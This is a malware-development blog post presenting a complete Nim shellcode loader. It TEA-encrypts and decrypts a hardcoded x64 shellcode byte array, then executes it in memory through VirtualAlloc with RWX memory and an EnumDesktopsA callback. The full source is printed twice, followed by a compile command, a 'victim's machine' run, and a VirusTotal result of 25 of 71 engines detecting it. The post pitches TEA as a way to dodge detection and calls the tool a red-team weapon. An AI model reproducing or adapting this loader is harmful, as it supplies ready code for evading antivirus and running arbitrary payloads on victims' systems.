Malware and cryptography 41 - encrypt/decrypt payload via TEA. Simple Nim example.
﷽
Hello, cybersecurity enthusiasts and white hackers!
This post is the result of my own research on using TEA encryption on malware development, but the main difference using Nim language instead C/C++. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.
So, today I’m sharing a Nim implementation of the Tiny Encryption Algorithm (TEA) that can be used to encrypt and decrypt payloads. This builds on my previous posts about malware cryptography techniques.
practical example
This section provides a detailed, function-by-function explanation of my Nim implementation.
First of all we need imports and type definitions. In this case, we need:
winim
- provides Windows API bindings (used for memory allocation & execution).
strformat
- used for formatted string output (e.g., &”{b:02x}”).
DESKTOPENUMPROCA
- a callback function type for EnumDesktopsA
, later used to execute payload.
import winim
import strformat
type
DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}
Then, TEA encryption logic:
proc encrypt(v: var array[2, uint32], key: array[4, uint32]) =
var sum = 0u32
var delta = 0x9e3779b9'u32
for _ in 0 ..< 32: # 32 rounds of encryption
sum += delta
v[0] += ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
v[1] += ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
Initializes sum = 0
and delta = 0x9e3779b9
(a magic constant). Then, performs 32 rounds
of Feistel network operations: each round mixes the block with the key using bit shifts (shl
, shr
), XOR (xor
), and addition.
Next one is TEA decryption logic:
proc decrypt(v: var array[2, uint32], key: array[4, uint32]) =
var sum = 0xC6EF3720'u32 # inverse of delta
var delta = 0x9e3779b9'u32
for _ in 0 ..< 32: # 32 rounds of decryption
v[1] -= ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
v[0] -= ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
sum -= delta
Same as encrypt, starts with sum = 0xC6EF3720
(delta × 32
). Reverses the encryption process in 32 rounds
. Subtracts instead of adds to undo the transformations.
Next logic is padding, since TEA uses 8-byte
blocks. In my code I used PKCS#7
style padding. We need to calculates how many bytes are needed for padding. If data is already aligned, returns it unchanged. Otherwise, appends padding bytes where each byte equals the padding length (e.g., 3 bytes
-> 0x03 0x03 0x03
):
proc padData(data: seq[byte], blockSize: int): seq[byte] =
let padding = blockSize - (data.len mod blockSize)
if padding == blockSize: return data # No padding needed
result = data & newSeq[byte](padding)
for i in 0..<padding:
result[data.len + i] = byte(padding) # PKCS#7 style padding
and unpadding:
proc unpadData(data: seq[byte]): seq[byte] =
if data.len == 0: return data
let padding = int(data[^1])
if padding > data.len: return data # Invalid padding
result = data[0 ..< data.len - padding]
Also, implemented helper functions, byte-to-word conversion:
proc bytesToUint32(data: seq[byte]): seq[array[2, uint32]] =
if data.len mod 8 != 0:
raise newException(ValueError, "Data length must be multiple of 8 bytes")
result = newSeq[array[2, uint32]](data.len div 8)
for i in 0 ..< result.len:
let offset = i * 8
result[i][0] = cast[uint32](data[offset]) or (cast[uint32](data[offset+1]) shl 8) or
(cast[uint32](data[offset+2]) shl 16) or (cast[uint32](data[offset+3]) shl 24)
result[i][1] = cast[uint32](data[offset+4]) or (cast[uint32](data[offset+5]) shl 8) or
(cast[uint32](data[offset+6]) shl 16) or (cast[uint32](data[offset+7]) shl 24)
and word-to-byte conversion logic:
proc uint32ToBytes(data: seq[array[2, uint32]]): seq[byte] =
result = newSeq[byte](data.len * 8)
for i in 0 ..< data.len:
let offset = i * 8
result[offset] = byte(data[i][0] and 0xFF)
result[offset+1] = byte((data[i][0] shr 8) and 0xFF)
result[offset+2] = byte((data[i][0] shr 16) and 0xFF)
result[offset+3] = byte((data[i][0] shr 24) and 0xFF)
result[offset+4] = byte(data[i][1] and 0xFF)
result[offset+5] = byte((data[i][1] shr 8) and 0xFF)
result[offset+6] = byte((data[i][1] shr 16) and 0xFF)
result[offset+7] = byte((data[i][1] shr 24) and 0xFF)
and finally, main execution flow:
when isMainModule:
# define a 128-bit key (4 x uint32)
let key: array[4, uint32] = [0x01234567'u32, 0x89abcdef'u32, 0xfedcba98'u32, 0x76543210'u32]
# define the payload
var data: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]
echo "original data (", data.len, " bytes):"
for b in data:
stdout.write &"{b:02x} "
echo ""
# pad data to ensure it's a multiple of 8 bytes
let paddedData = padData(data, 8)
echo "\npadded data (", paddedData.len, " bytes):"
for b in paddedData:
stdout.write &"{b:02x} "
echo ""
# convert to uint32 blocks for encryption
var uint32Blocks = bytesToUint32(paddedData)
# encrypt all blocks
for i in 0..<uint32Blocks.len:
encrypt(uint32Blocks[i], key)
let encryptedBytes = uint32ToBytes(uint32Blocks)
echo "\nencrypted data (", encryptedBytes.len, " bytes):"
for b in encryptedBytes:
stdout.write &"{b:02x} "
echo ""
# decrypt all blocks
for i in 0..<uint32Blocks.len:
decrypt(uint32Blocks[i], key)
# convert back to bytes
var decryptedBytes = uint32ToBytes(uint32Blocks)
# remove padding
decryptedBytes = unpadData(decryptedBytes)
echo "\ndecrypted data (", decryptedBytes.len, " bytes):"
for b in decryptedBytes:
stdout.write &"{b:02x} "
echo ""
if decryptedBytes == data:
echo "\nsuccess: decrypted data matches original =^..^="
else:
echo "\nerror: decrypted data doesn't match original :("
# find the first mismatch
var mismatchPos = -1
for i in 0..<min(decryptedBytes.len, data.len):
if decryptedBytes[i] != data[i]:
mismatchPos = i
break
if mismatchPos >= 0:
echo "first mismatch at byte: ", mismatchPos
else:
echo "length mismatch: original ", data.len, " bytes, decrypted ", decryptedBytes.len, " bytes"
let mem = VirtualAlloc(NULL, cast[SIZE_T](decryptedBytes.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
RtlMoveMemory(mem, unsafeAddr decryptedBytes[0], cast[SIZE_T](decryptedBytes.len))
let payloadProc = cast[DESKTOPENUMPROCA](mem)
discard EnumDesktopsA(GetProcessWindowStation(), payloadProc, 0)
As you can see, execution technique used EnumDesktopsA
as usually.
Full source code of this looks like this hack.nim
:
import winim
import strformat
type
DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}
# TEA encryption and decryption
proc encrypt(v: var array[2, uint32], key: array[4, uint32]) =
var sum = 0u32
var delta = 0x9e3779b9'u32
for _ in 0 ..< 32: # 32 rounds of encryption
sum += delta
v[0] += ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
v[1] += ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
proc decrypt(v: var array[2, uint32], key: array[4, uint32]) =
var sum = 0xC6EF3720'u32 # inverse of delta
var delta = 0x9e3779b9'u32
for _ in 0 ..< 32: # 32 rounds of decryption
v[1] -= ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
v[0] -= ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
sum -= delta
# padding function to make the data length a multiple of 8 bytes
proc padData(data: seq[byte], blockSize: int): seq[byte] =
let padding = blockSize - (data.len mod blockSize)
if padding == blockSize: # No padding needed
return data
result = data & newSeq[byte](padding)
for i in 0..<padding:
result[data.len + i] = byte(padding) # PKCS#7 style padding
proc unpadData(data: seq[byte]): seq[byte] =
if data.len == 0:
return data
let padding = int(data[^1])
if padding > data.len:
return data # invalid padding, return as-is
result = data[0 ..< data.len - padding]
proc bytesToUint32(data: seq[byte]): seq[array[2, uint32]] =
if data.len mod 8 != 0:
raise newException(ValueError, "Data length must be multiple of 8 bytes")
result = newSeq[array[2, uint32]](data.len div 8)
for i in 0 ..< result.len:
let offset = i * 8
result[i][0] = cast[uint32](data[offset]) or
(cast[uint32](data[offset+1]) shl 8) or
(cast[uint32](data[offset+2]) shl 16) or
(cast[uint32](data[offset+3]) shl 24)
result[i][1] = cast[uint32](data[offset+4]) or
(cast[uint32](data[offset+5]) shl 8) or
(cast[uint32](data[offset+6]) shl 16) or
(cast[uint32](data[offset+7]) shl 24)
proc uint32ToBytes(data: seq[array[2, uint32]]): seq[byte] =
result = newSeq[byte](data.len * 8)
for i in 0 ..< data.len:
let offset = i * 8
result[offset] = byte(data[i][0] and 0xFF)
result[offset+1] = byte((data[i][0] shr 8) and 0xFF)
result[offset+2] = byte((data[i][0] shr 16) and 0xFF)
result[offset+3] = byte((data[i][0] shr 24) and 0xFF)
result[offset+4] = byte(data[i][1] and 0xFF)
result[offset+5] = byte((data[i][1] shr 8) and 0xFF)
result[offset+6] = byte((data[i][1] shr 16) and 0xFF)
result[offset+7] = byte((data[i][1] shr 24) and 0xFF)
when isMainModule:
# define a 128-bit key (4 x uint32)
let key: array[4, uint32] = [0x01234567'u32, 0x89abcdef'u32, 0xfedcba98'u32, 0x76543210'u32]
# define the payload
var data: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]
echo "original data (", data.len, " bytes):"
for b in data:
stdout.write &"{b:02x} "
echo ""
# pad data to ensure it's a multiple of 8 bytes
let paddedData = padData(data, 8)
echo "\npadded data (", paddedData.len, " bytes):"
for b in paddedData:
stdout.write &"{b:02x} "
echo ""
# convert to uint32 blocks for encryption
var uint32Blocks = bytesToUint32(paddedData)
# encrypt all blocks
for i in 0..<uint32Blocks.len:
encrypt(uint32Blocks[i], key)
let encryptedBytes = uint32ToBytes(uint32Blocks)
echo "\nencrypted data (", encryptedBytes.len, " bytes):"
for b in encryptedBytes:
stdout.write &"{b:02x} "
echo ""
# decrypt all blocks
for i in 0..<uint32Blocks.len:
decrypt(uint32Blocks[i], key)
# convert back to bytes
var decryptedBytes = uint32ToBytes(uint32Blocks)
# remove padding
decryptedBytes = unpadData(decryptedBytes)
echo "\ndecrypted data (", decryptedBytes.len, " bytes):"
for b in decryptedBytes:
stdout.write &"{b:02x} "
echo ""
if decryptedBytes == data:
echo "\nsuccess: decrypted data matches original =^..^="
else:
echo "\nerror: decrypted data doesn't match original :("
# find the first mismatch
var mismatchPos = -1
for i in 0..<min(decryptedBytes.len, data.len):
if decryptedBytes[i] != data[i]:
mismatchPos = i
break
if mismatchPos >= 0:
echo "first mismatch at byte: ", mismatchPos
else:
echo "length mismatch: original ", data.len, " bytes, decrypted ", decryptedBytes.len, " bytes"
let mem = VirtualAlloc(NULL, cast[SIZE_T](decryptedBytes.len), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
RtlMoveMemory(mem, unsafeAddr decryptedBytes[0], cast[SIZE_T](decryptedBytes.len))
let payloadProc = cast[DESKTOPENUMPROCA](mem)
discard EnumDesktopsA(GetProcessWindowStation(), payloadProc, 0)
Here’s my complete Nim implementation that:
- encrypts a payload with TEA
- decrypts it back
- executes the decrypted payload in memory
As usual, used meow-meow
meesagebox payload:
var data: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]
demo
Let’s go to see everything in action. Compile it (in my linux
machine):
nim c -d:mingw --cpu:amd64 hack.nim
Then, just run it in the victim’s machine (windows 10 22H2 x64
in my case):
.\hack.exe
Nice! As you can see, everything is worked perfectly! =^..^=
Let’s upload our implementation to VirusTotal:
So, only 25 of 71 AV engines detect our file as malicious.
One of my readers ask me, why use TEA in malware and why it’s worked as expected in most cases?
- small footprint: Perfect for constrained environments
- fast execution: Important for minimizing detection windows
- simple implementation: Easy to port between languages
- adequate security: Provides sufficient protection against casual analysis
TEA provides a good balance between implementation complexity and security for many use cases. While TEA is older, its simplicity makes it ideal for certain scenarios. Modern malware might use more advanced algorithms, but the core concepts remain similar.
I hope this post is useful for malware researchers, C/C++ and Nim programmers, spreads awareness to the blue teamers of this interesting encryption technique and Nim implementation, and adds a weapon to the red teamers arsenal.
Run shellcode via EnumDesktopsA
Malware and cryptography 1
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine